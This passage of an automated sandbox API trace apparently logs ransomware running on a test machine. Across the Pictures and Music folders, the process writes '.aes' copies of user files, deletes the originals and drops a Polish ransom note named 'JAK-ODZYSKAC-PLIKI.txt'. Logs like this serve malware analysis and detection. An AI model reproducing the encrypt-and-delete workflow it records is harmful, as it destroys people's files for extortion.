pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0089.753] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\IjyzG07WaZVWa6FxqH0.gif" (normalized: "c:\\users\\kft6utqw\\pictures\\ijyzg07wazvwa6fxqh0.gif")) returned 1 [0089.769] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x35 [0089.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0089.769] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef7239a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xef7239a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xef7239a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0089.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0089.769] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0089.791] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp", lpFilePart=0x0) returned 0x24 [0089.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0089.791] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\np za.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c731f30, ftCreationTime.dwHighDateTime=0x1d30300, ftLastAccessTime.dwLowDateTime=0xc1a97d40, ftLastAccessTime.dwHighDateTime=0x1d2f607, ftLastWriteTime.dwLowDateTime=0xc1a97d40, ftLastWriteTime.dwHighDateTime=0x1d2f607, nFileSizeHigh=0x0, nFileSizeLow=0xa216)) returned 1 [0089.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0089.791] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp", lpFilePart=0x0) returned 0x24 [0089.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0089.791] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\np za.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0089.791] GetFileType (hFile=0x540) returned 0x1 [0089.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0089.791] GetFileType (hFile=0x540) returned 0x1 [0089.791] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp.aes", lpFilePart=0x0) returned 0x28 [0089.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0089.791] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\np za.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0089.792] GetFileType (hFile=0x8e4) returned 0x1 [0089.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0089.792] GetFileType (hFile=0x8e4) returned 0x1 [0089.792] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0089.864] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0089.864] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0089.874] LocalFree (hMem=0x703ef10) returned 0x0 [0089.874] GetAdaptersAddresses () returned 0x6f [0089.882] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0089.882] GetAdaptersAddresses () returned 0x0 [0089.896] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.902] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.902] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.908] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.908] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0089.936] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0089.936] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0089.942] LocalFree (hMem=0x6ff2da0) returned 0x0 [0089.943] LocalFree (hMem=0x7042020) returned 0x0 [0089.943] GetBestInterfaceEx (in: pDestAddr=0x288b2b4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0090.062] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\np ZA.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\np za.bmp")) returned 1 [0090.063] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x35 [0090.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0090.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef7239a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xef7239a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xef7239a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0090.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0090.064] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0090.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg", lpFilePart=0x0) returned 0x25 [0090.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0090.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\oypzzx.jpg"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x685ae870, ftCreationTime.dwHighDateTime=0x1d2fa33, ftLastAccessTime.dwLowDateTime=0x69f00330, ftLastAccessTime.dwHighDateTime=0x1d2f7c9, ftLastWriteTime.dwLowDateTime=0x69f00330, ftLastWriteTime.dwHighDateTime=0x1d2f7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4be7)) returned 1 [0090.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0090.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg", lpFilePart=0x0) returned 0x25 [0090.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0090.111] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\oypzzx.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0090.111] GetFileType (hFile=0x61c) returned 0x1 [0090.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0090.111] GetFileType (hFile=0x61c) returned 0x1 [0090.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg.aes", lpFilePart=0x0) returned 0x29 [0090.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0090.112] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\oypzzx.jpg.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0090.112] GetFileType (hFile=0x540) returned 0x1 [0090.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0090.112] GetFileType (hFile=0x540) returned 0x1 [0090.112] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0090.120] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0090.120] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0090.127] LocalFree (hMem=0x6ff3178) returned 0x0 [0090.127] GetAdaptersAddresses () returned 0x6f [0090.132] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0090.132] GetAdaptersAddresses () returned 0x0 [0090.137] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.143] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.143] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.199] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.200] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.206] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.206] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.212] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.213] LocalFree (hMem=0x7042020) returned 0x0 [0090.213] GetBestInterfaceEx (in: pDestAddr=0x283e36c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0090.280] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\OyPzZX.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\oypzzx.jpg")) returned 1 [0090.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x35 [0090.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0090.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef7239a0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xef7239a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xef7239a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0090.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0090.282] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0090.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav", lpFilePart=0x0) returned 0x4d [0090.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0090.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\cqqmpg-jbive.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11cc8270, ftCreationTime.dwHighDateTime=0x1d2fc59, ftLastAccessTime.dwLowDateTime=0x1c1f7820, ftLastAccessTime.dwHighDateTime=0x1d2f61b, ftLastWriteTime.dwLowDateTime=0x1c1f7820, ftLastWriteTime.dwHighDateTime=0x1d2f61b, nFileSizeHigh=0x0, nFileSizeLow=0x3124)) returned 1 [0090.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0090.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav", lpFilePart=0x0) returned 0x4d [0090.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0090.349] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\cqqmpg-jbive.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0090.349] GetFileType (hFile=0x468) returned 0x1 [0090.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0090.349] GetFileType (hFile=0x468) returned 0x1 [0090.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav.aes", lpFilePart=0x0) returned 0x51 [0090.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0090.350] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\cqqmpg-jbive.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0090.350] GetFileType (hFile=0x61c) returned 0x1 [0090.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0090.350] GetFileType (hFile=0x61c) returned 0x1 [0090.350] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0090.374] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0090.374] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0090.381] LocalFree (hMem=0x6ff3178) returned 0x0 [0090.381] GetAdaptersAddresses () returned 0x6f [0090.385] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0090.386] GetAdaptersAddresses () returned 0x0 [0090.390] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.397] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.397] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.407] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.408] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0090.414] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0090.414] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0090.420] LocalFree (hMem=0x1c8ab8) returned 0x0 [0090.421] LocalFree (hMem=0x7042020) returned 0x0 [0090.421] GetBestInterfaceEx (in: pDestAddr=0x2897ccc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0090.517] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\CQqMpg-jbIVE.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\cqqmpg-jbive.wav")) returned 1 [0090.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0090.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0090.518] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0090.518] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x468) returned 0x0 [0090.518] RegQueryValueExW (in: hKey=0x468, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0090.518] RegQueryValueExW (in: hKey=0x468, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x28e2860, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0090.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0090.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0090.519] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0090.519] GetFileType (hFile=0x61c) returned 0x1 [0090.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0090.519] GetFileType (hFile=0x61c) returned 0x1 [0090.519] WriteFile (in: hFile=0x61c, lpBuffer=0x28eb8a0*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x28eb8a0*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0090.519] CloseHandle (hObject=0x61c) returned 1 [0090.520] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0090.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav", lpFilePart=0x0) returned 0x4b [0090.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0090.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\eh1oc xshc.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc89a310, ftCreationTime.dwHighDateTime=0x1d2ff79, ftLastAccessTime.dwLowDateTime=0x5c6d1560, ftLastAccessTime.dwHighDateTime=0x1d2fbb9, ftLastWriteTime.dwLowDateTime=0x5c6d1560, ftLastWriteTime.dwHighDateTime=0x1d2fbb9, nFileSizeHigh=0x0, nFileSizeLow=0x165b)) returned 1 [0090.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0090.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav", lpFilePart=0x0) returned 0x4b [0090.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0090.582] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\eh1oc xshc.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0090.582] GetFileType (hFile=0x61c) returned 0x1 [0090.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0090.582] GetFileType (hFile=0x61c) returned 0x1 [0090.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav.aes", lpFilePart=0x0) returned 0x4f [0090.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0090.582] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\oGal6NmV2cY0e3 6\\EH1OC XshC.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\ogal6nmv2cy0e3 6\\eh1oc xshc.wav.aes"), dwDesiredAccess=0xc0000000, 